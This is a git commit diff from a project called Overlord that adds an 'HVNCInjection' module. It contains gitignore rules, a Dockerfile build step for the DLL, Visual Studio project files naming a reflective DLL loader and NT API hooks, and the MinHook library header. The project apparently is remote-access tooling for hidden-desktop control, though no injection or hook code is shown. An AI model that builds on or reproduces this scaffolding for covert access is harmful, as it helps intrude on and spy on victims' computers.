add hvnc cloning

This commit is contained in:
KingKDot
2026-03-11 23:11:44 -05:00
parent 673825027a
commit ae9a1f9321
23 changed files with 3719 additions and 23 deletions
+431 -1
View File
@@ -22,6 +22,7 @@ bin/
*.exe
*.test
*.out
*.dll
# Certificates (auto-generated)
certs/
@@ -48,4 +49,433 @@ Overlord-Server/data/
# Release packaging output
release/
stress/
stress/
## Ignore Visual Studio temporary files, build results, and
## files generated by popular Visual Studio add-ons.
##
## Get latest from https://github.com/github/gitignore/blob/main/VisualStudio.gitignore
# User-specific files
*.rsuser
*.suo
*.user
*.userosscache
*.sln.docstates
*.env
# User-specific files (MonoDevelop/Xamarin Studio)
*.userprefs
# Mono auto generated files
mono_crash.*
# Build results
[Dd]ebug/
[Dd]ebugPublic/
[Rr]elease/
[Rr]eleases/
[Dd]ebug/x64/
[Dd]ebugPublic/x64/
[Rr]elease/x64/
[Rr]eleases/x64/
bin/x64/
obj/x64/
[Dd]ebug/x86/
[Dd]ebugPublic/x86/
[Rr]elease/x86/
[Rr]eleases/x86/
bin/x86/
obj/x86/
[Ww][Ii][Nn]32/
[Aa][Rr][Mm]/
[Aa][Rr][Mm]64/
[Aa][Rr][Mm]64[Ee][Cc]/
bld/
[Oo]bj/
[Oo]ut/
[Ll]og/
[Ll]ogs/
# Build results on 'Bin' directories
**/[Bb]in/*
# Uncomment if you have tasks that rely on *.refresh files to move binaries
# (https://github.com/github/gitignore/pull/3736)
#!**/[Bb]in/*.refresh
# Visual Studio 2015/2017 cache/options directory
.vs/
# Uncomment if you have tasks that create the project's static files in wwwroot
#wwwroot/
# Visual Studio 2017 auto generated files
Generated\ Files/
# MSTest test Results
[Tt]est[Rr]esult*/
[Bb]uild[Ll]og.*
*.trx
# NUnit
*.VisualState.xml
TestResult.xml
nunit-*.xml
# Approval Tests result files
*.received.*
# Build Results of an ATL Project
[Dd]ebugPS/
[Rr]eleasePS/
dlldata.c
# Benchmark Results
BenchmarkDotNet.Artifacts/
# .NET Core
project.lock.json
project.fragment.lock.json
artifacts/
# ASP.NET Scaffolding
ScaffoldingReadMe.txt
# StyleCop
StyleCopReport.xml
# Files built by Visual Studio
*_i.c
*_p.c
*_h.h
*.ilk
*.meta
*.obj
*.idb
*.iobj
*.pch
*.pdb
*.ipdb
*.pgc
*.pgd
*.rsp
# but not Directory.Build.rsp, as it configures directory-level build defaults
!Directory.Build.rsp
*.sbr
*.tlb
*.tli
*.tlh
*.tmp
*.tmp_proj
*_wpftmp.csproj
*.log
*.tlog
*.vspscc
*.vssscc
.builds
*.pidb
*.svclog
*.scc
# Chutzpah Test files
_Chutzpah*
# Visual C++ cache files
ipch/
*.aps
*.ncb
*.opendb
*.opensdf
*.sdf
*.cachefile
*.VC.db
*.VC.VC.opendb
# Visual Studio profiler
*.psess
*.vsp
*.vspx
*.sap
# Visual Studio Trace Files
*.e2e
# TFS 2012 Local Workspace
$tf/
# Guidance Automation Toolkit
*.gpState
# ReSharper is a .NET coding add-in
_ReSharper*/
*.[Rr]e[Ss]harper
*.DotSettings.user
# TeamCity is a build add-in
_TeamCity*
# DotCover is a Code Coverage Tool
*.dotCover
# AxoCover is a Code Coverage Tool
.axoCover/*
!.axoCover/settings.json
# Coverlet is a free, cross platform Code Coverage Tool
coverage*.json
coverage*.xml
coverage*.info
# Visual Studio code coverage results
*.coverage
*.coveragexml
# NCrunch
_NCrunch_*
.NCrunch_*
.*crunch*.local.xml
nCrunchTemp_*
# MightyMoose
*.mm.*
AutoTest.Net/
# Web workbench (sass)
.sass-cache/
# Installshield output folder
[Ee]xpress/
# DocProject is a documentation generator add-in
DocProject/buildhelp/
DocProject/Help/*.HxT
DocProject/Help/*.HxC
DocProject/Help/*.hhc
DocProject/Help/*.hhk
DocProject/Help/*.hhp
DocProject/Help/Html2
DocProject/Help/html
# Click-Once directory
publish/
# Publish Web Output
*.[Pp]ublish.xml
*.azurePubxml
# Note: Comment the next line if you want to checkin your web deploy settings,
# but database connection strings (with potential passwords) will be unencrypted
*.pubxml
*.publishproj
# Microsoft Azure Web App publish settings. Comment the next line if you want to
# checkin your Azure Web App publish settings, but sensitive information contained
# in these scripts will be unencrypted
PublishScripts/
# NuGet Packages
*.nupkg
# NuGet Symbol Packages
*.snupkg
# The packages folder can be ignored because of Package Restore
**/[Pp]ackages/*
# except build/, which is used as an MSBuild target.
!**/[Pp]ackages/build/
# Uncomment if necessary however generally it will be regenerated when needed
#!**/[Pp]ackages/repositories.config
# NuGet v3's project.json files produces more ignorable files
*.nuget.props
*.nuget.targets
# Microsoft Azure Build Output
csx/
*.build.csdef
# Microsoft Azure Emulator
ecf/
rcf/
# Windows Store app package directories and files
AppPackages/
BundleArtifacts/
Package.StoreAssociation.xml
_pkginfo.txt
*.appx
*.appxbundle
*.appxupload
# Visual Studio cache files
# files ending in .cache can be ignored
*.[Cc]ache
# but keep track of directories ending in .cache
!?*.[Cc]ache/
# Others
ClientBin/
~$*
*~
*.dbmdl
*.dbproj.schemaview
*.jfm
*.pfx
*.publishsettings
orleans.codegen.cs
# Including strong name files can present a security risk
# (https://github.com/github/gitignore/pull/2483#issue-259490424)
#*.snk
# Since there are multiple workflows, uncomment next line to ignore bower_components
# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
#bower_components/
# RIA/Silverlight projects
Generated_Code/
# Backup & report files from converting an old project file
# to a newer Visual Studio version. Backup files are not needed,
# because we have git ;-)
_UpgradeReport_Files/
Backup*/
UpgradeLog*.XML
UpgradeLog*.htm
ServiceFabricBackup/
*.rptproj.bak
# SQL Server files
*.mdf
*.ldf
*.ndf
# Business Intelligence projects
*.rdl.data
*.bim.layout
*.bim_*.settings
*.rptproj.rsuser
*- [Bb]ackup.rdl
*- [Bb]ackup ([0-9]).rdl
*- [Bb]ackup ([0-9][0-9]).rdl
# Microsoft Fakes
FakesAssemblies/
# GhostDoc plugin setting file
*.GhostDoc.xml
# Node.js Tools for Visual Studio
.ntvs_analysis.dat
node_modules/
# Visual Studio 6 build log
*.plg
# Visual Studio 6 workspace options file
*.opt
# Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
*.vbw
# Visual Studio 6 workspace and project file (working project files containing files to include in project)
*.dsw
*.dsp
# Visual Studio 6 technical files
*.ncb
*.aps
# Visual Studio LightSwitch build output
**/*.HTMLClient/GeneratedArtifacts
**/*.DesktopClient/GeneratedArtifacts
**/*.DesktopClient/ModelManifest.xml
**/*.Server/GeneratedArtifacts
**/*.Server/ModelManifest.xml
_Pvt_Extensions
# Paket dependency manager
**/.paket/paket.exe
paket-files/
# FAKE - F# Make
**/.fake/
# CodeRush personal settings
**/.cr/personal
# Python Tools for Visual Studio (PTVS)
**/__pycache__/
*.pyc
# Cake - Uncomment if you are using it
#tools/**
#!tools/packages.config
# Tabs Studio
*.tss
# Telerik's JustMock configuration file
*.jmconfig
# BizTalk build output
*.btp.cs
*.btm.cs
*.odx.cs
*.xsd.cs
# OpenCover UI analysis results
OpenCover/
# Azure Stream Analytics local run output
ASALocalRun/
# MSBuild Binary and Structured Log
*.binlog
MSBuild_Logs/
# AWS SAM Build and Temporary Artifacts folder
.aws-sam
# NVidia Nsight GPU debugger configuration file
*.nvuser
# MFractors (Xamarin productivity tool) working folder
**/.mfractor/
# Local History for Visual Studio
**/.localhistory/
# Visual Studio History (VSHistory) files
.vshistory/
# BeatPulse healthcheck temp database
healthchecksdb
# Backup folder for Package Reference Convert tool in Visual Studio 2017
MigrationBackup/
# Ionide (cross platform F# VS Code tools) working folder
**/.ionide/
# Fody - auto-generated XML schema
FodyWeavers.xsd
# VS Code files for those working on multiple tools
.vscode/*
!.vscode/settings.json
!.vscode/tasks.json
!.vscode/launch.json
!.vscode/extensions.json
!.vscode/*.code-snippets
# Local History for Visual Studio Code
.history/
# Built Visual Studio Code Extensions
*.vsix
# Windows Installer files from build outputs
*.cab
*.msi
*.msix
*.msm
*.msp
+13
View File
@@ -63,6 +63,19 @@ RUN bun install --frozen-lockfile
COPY Overlord-Server/ ./
COPY Overlord-Client/ ./Overlord-Client/
# Copy HVNCInjection source and build script for cross-compilation
COPY HVNCInjection/ ./HVNCInjection/
COPY build-hvnc-dll.sh ./build-hvnc-dll.sh
# Attempt to cross-compile HVNCInjection DLL with mingw.
# Requires MinHook source in HVNCInjection/src/minhook/.
# If unavailable, pre-build the DLL on Windows with build-hvnc-dll.bat
# and place it at Overlord-Server/dist-clients/HVNCInjection.x64.dll.
RUN chmod +x build-hvnc-dll.sh && \
HVNC_SRC_DIR=HVNCInjection/src HVNC_OUT_DIR=dist-clients bash build-hvnc-dll.sh || \
(test -f dist-clients/HVNCInjection.x64.dll && echo "Using pre-built DLL") || \
echo "WARNING: HVNCInjection DLL not available"
# Create necessary directories
RUN mkdir -p certs public data
+286
View File
@@ -0,0 +1,286 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|ARM">
<Configuration>Debug</Configuration>
<Platform>ARM</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|ARM">
<Configuration>Release</Configuration>
<Platform>ARM</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{483CE4EF-7B5C-4C47-BAC5-2EA5CD09EBFC}</ProjectGuid>
<RootNamespace>HVNCInjection</RootNamespace>
<Keyword>Win32Proj</Keyword>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>true</WholeProgramOptimization>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>true</WholeProgramOptimization>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>false</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>false</WholeProgramOptimization>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>false</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup>
<_ProjectFileVersion>11.0.50727.1</_ProjectFileVersion>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<OutDir>$(SolutionDir)$(Configuration)\</OutDir>
<IntDir>$(Configuration)\</IntDir>
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
<IntDir>$(Platform)\$(Configuration)\</IntDir>
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<OutDir>$(SolutionDir)$(Configuration)\</OutDir>
<IntDir>$(Configuration)\</IntDir>
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
<IntDir>$(Platform)\$(Configuration)\</IntDir>
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<Optimization>MinSpace</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;HVNCInjection_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>true</FunctionLevelLinking>
<PrecompiledHeader />
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
<OptimizeReferences>true</OptimizeReferences>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<TargetMachine>MachineX86</TargetMachine>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'">
<ClCompile>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;HVNCInjection_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MinimalRebuild>true</MinimalRebuild>
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>EditAndContinue</DebugInformationFormat>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Midl>
<TargetEnvironment>X64</TargetEnvironment>
</Midl>
<ClCompile>
<Optimization>MaxSpeed</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>true</IntrinsicFunctions>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<WholeProgramOptimization>false</WholeProgramOptimization>
<PreprocessorDefinitions>WIN64;NDEBUG;_WINDOWS;_USRDLL;HVNCInjection_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>true</FunctionLevelLinking>
<PrecompiledHeader />
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<CompileAs>CompileAsCpp</CompileAs>
</ClCompile>
<Link>
<OutputFile>$(OutDir)$(ProjectName).x64.dll</OutputFile>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
<OptimizeReferences>true</OptimizeReferences>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<TargetMachine>MachineX64</TargetMachine>
<AdditionalLibraryDirectories>$(ProjectDir)src;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
</Link>
<PostBuildEvent>
<Command>if not exist "$(SolutionDir)bin\Debug\net9.0-windows" mkdir "$(SolutionDir)bin\Debug\net9.0-windows"
if not exist "$(SolutionDir)bin\Release\net9.0-windows" mkdir "$(SolutionDir)bin\Release\net9.0-windows"
copy "$(OutDir)$(ProjectName).x64.dll" "$(SolutionDir)bin\Debug\net9.0-windows\"
copy "$(OutDir)$(ProjectName).x64.dll" "$(SolutionDir)bin\Release\net9.0-windows\"</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<Optimization>MaxSpeed</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;HVNCInjection_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>true</FunctionLevelLinking>
<PrecompiledHeader />
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
<OptimizeReferences>true</OptimizeReferences>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<TargetMachine>MachineX86</TargetMachine>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'">
<ClCompile>
<Optimization>MinSpace</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_ARM;HVNCInjection_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>true</FunctionLevelLinking>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<BufferSecurityCheck>true</BufferSecurityCheck>
<CompileAs>Default</CompileAs>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
<OptimizeReferences>true</OptimizeReferences>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OutputFile>$(OutDir)$(ProjectName).arm.dll</OutputFile>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Midl>
<TargetEnvironment>X64</TargetEnvironment>
</Midl>
<ClCompile>
<Optimization>MaxSpeed</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>true</IntrinsicFunctions>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<WholeProgramOptimization>false</WholeProgramOptimization>
<PreprocessorDefinitions>WIN64;NDEBUG;_WINDOWS;_USRDLL;HVNCInjection_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>true</FunctionLevelLinking>
<PrecompiledHeader />
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<CompileAs>CompileAsCpp</CompileAs>
</ClCompile>
<Link>
<OutputFile>$(OutDir)$(ProjectName).x64.dll</OutputFile>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
<OptimizeReferences>true</OptimizeReferences>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<TargetMachine>MachineX64</TargetMachine>
<AdditionalLibraryDirectories>$(ProjectDir)src;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
</Link>
<PostBuildEvent>
<Command>if not exist "$(SolutionDir)bin\Debug\net9.0-windows" mkdir "$(SolutionDir)bin\Debug\net9.0-windows"
if not exist "$(SolutionDir)bin\Release\net9.0-windows" mkdir "$(SolutionDir)bin\Release\net9.0-windows"
copy "$(OutDir)$(ProjectName).x64.dll" "$(SolutionDir)bin\Debug\net9.0-windows\"
copy "$(OutDir)$(ProjectName).x64.dll" "$(SolutionDir)bin\Release\net9.0-windows\"</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="src\ReflectiveDll.c" />
<ClCompile Include="src\ReflectiveLoader.c" />
<ClCompile Include="src\NtApiHooks.c" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="src\NtApiHooksConfig.h" />
<ClInclude Include="src\ReflectiveDLLInjection.h" />
<ClInclude Include="src\ReflectiveLoader.h" />
<ClInclude Include="src\NtApiHooks.h" />
<ClInclude Include="src\MinHook.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>
@@ -0,0 +1,41 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="src\ReflectiveDll.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="src\ReflectiveLoader.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="src\NtApiHooks.c">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="src\ReflectiveDLLInjection.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="src\ReflectiveLoader.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="src\NtApiHooks.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="src\MinHook.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="src\NtApiHooksConfig.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
</Project>
+185
View File
@@ -0,0 +1,185 @@
/*
* MinHook - The Minimalistic API Hooking Library for x64/x86
* Copyright (C) 2009-2017 Tsuda Kageyu.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
* PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER
* OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#pragma once
#if !(defined _M_IX86) && !(defined _M_X64) && !(defined __i386__) && !(defined __x86_64__)
#error MinHook supports only x86 and x64 systems.
#endif
#include <windows.h>
// MinHook Error Codes.
typedef enum MH_STATUS
{
// Unknown error. Should not be returned.
MH_UNKNOWN = -1,
// Successful.
MH_OK = 0,
// MinHook is already initialized.
MH_ERROR_ALREADY_INITIALIZED,
// MinHook is not initialized yet, or already uninitialized.
MH_ERROR_NOT_INITIALIZED,
// The hook for the specified target function is already created.
MH_ERROR_ALREADY_CREATED,
// The hook for the specified target function is not created yet.
MH_ERROR_NOT_CREATED,
// The hook for the specified target function is already enabled.
MH_ERROR_ENABLED,
// The hook for the specified target function is not enabled yet, or already
// disabled.
MH_ERROR_DISABLED,
// The specified pointer is invalid. It points the address of non-allocated
// and/or non-executable region.
MH_ERROR_NOT_EXECUTABLE,
// The specified target function cannot be hooked.
MH_ERROR_UNSUPPORTED_FUNCTION,
// Failed to allocate memory.
MH_ERROR_MEMORY_ALLOC,
// Failed to change the memory protection.
MH_ERROR_MEMORY_PROTECT,
// The specified module is not loaded.
MH_ERROR_MODULE_NOT_FOUND,
// The specified function is not found.
MH_ERROR_FUNCTION_NOT_FOUND
}
MH_STATUS;
// Can be passed as a parameter to MH_EnableHook, MH_DisableHook,
// MH_QueueEnableHook or MH_QueueDisableHook.
#define MH_ALL_HOOKS NULL
#ifdef __cplusplus
extern "C" {
#endif
// Initialize the MinHook library. You must call this function EXACTLY ONCE
// at the beginning of your program.
MH_STATUS WINAPI MH_Initialize(VOID);
// Uninitialize the MinHook library. You must call this function EXACTLY
// ONCE at the end of your program.
MH_STATUS WINAPI MH_Uninitialize(VOID);
// Creates a Hook for the specified target function, in disabled state.
// Parameters:
// pTarget [in] A pointer to the target function, which will be
// overridden by the detour function.
// pDetour [in] A pointer to the detour function, which will override
// the target function.
// ppOriginal [out] A pointer to the trampoline function, which will be
// used to call the original target function.
// This parameter can be NULL.
MH_STATUS WINAPI MH_CreateHook(LPVOID pTarget, LPVOID pDetour, LPVOID* ppOriginal);
// Creates a Hook for the specified API function, in disabled state.
// Parameters:
// pszModule [in] A pointer to the loaded module name which contains the
// target function.
// pszTarget [in] A pointer to the target function name, which will be
// overridden by the detour function.
// pDetour [in] A pointer to the detour function, which will override
// the target function.
// ppOriginal [out] A pointer to the trampoline function, which will be
// used to call the original target function.
// This parameter can be NULL.
MH_STATUS WINAPI MH_CreateHookApi(
LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID* ppOriginal);
// Creates a Hook for the specified API function, in disabled state.
// Parameters:
